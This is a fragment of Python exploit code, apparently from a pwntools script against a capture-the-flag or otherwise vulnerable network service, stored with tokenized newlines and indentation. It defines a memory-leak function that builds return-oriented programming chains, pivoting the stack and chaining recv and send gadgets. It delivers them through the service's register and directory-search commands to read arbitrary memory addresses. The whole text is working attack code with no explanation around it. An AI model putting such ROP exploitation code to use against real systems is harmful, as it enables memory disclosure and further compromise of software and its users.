#NEWLINE# @ MemLeak #NEWLINE# def leaker( addr , length = None ) : #NEWLINE# #INDENT# try : #NEWLINE# #INDENT# new_conn ( ) #NEWLINE# length = 126 #NEWLINE# rop1 = flat ( pop_rsp_r13_r14_r15 , ( buf - ( 3 * 8 ) ) ) #NEWLINE# rop2 = flat ( pop_rsi_r15 , ( null_bytes - 85 ) , 0 , pop_rdi , ( writable - 80 ) , mov_rcx_rsi55 , pop_rdi , 4 , pop_rsi_r15 , 6369880 , 0 , pop_rdx , 8 , recv , pop_rsi_r15 , ( null_bytes - 85 ) , 0 , pop_rdi , ( writable - 80 ) , mov_rcx_rsi55 , pop_rdi , 4 , pop_rsi_r15 , 0 , 0 , pop_rdx , length , send ) #NEWLINE# put_rop ( rop1 ) #NEWLINE# do_register ( rop2 , 'A' ) #NEWLINE# do_directory_search ( '*' ) #NEWLINE# r . recvuntil ( '16 : [' ) #NEWLINE# r . recvuntil ( ']' ) #NEWLINE# r . send ( p64 ( addr ) ) #NEWLINE# return r . recvn ( length ) #NEWLINE# #UNINDENT# except EOFError : #NEWLINE# #INDENT# return None